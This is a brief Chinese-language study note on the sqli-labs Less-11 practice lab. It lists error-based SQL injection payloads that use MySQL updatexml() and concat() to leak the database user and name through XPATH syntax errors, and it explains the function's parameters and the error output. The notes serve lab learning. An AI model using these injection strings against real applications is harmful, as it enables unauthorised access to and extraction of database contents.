http://localhost/sqli-labs-master/Less-11/
輸入:
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) #
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
updatexml()函數的格式爲:updatexml (xml_document, XPath_string, new_value);
參數:xml_document是String格式,爲XML文檔對象的名稱,文中爲Doc
參數:XPath_string (Xpath格式的字符串)
參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
改變xml_document中符合XPATH_string的值
concat()函數是將數據連成一個字符串,
' and updatexml(1,~security~,1) #
因此不會符合XPATH_string的格式,從而出現格式錯誤,
爆出ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'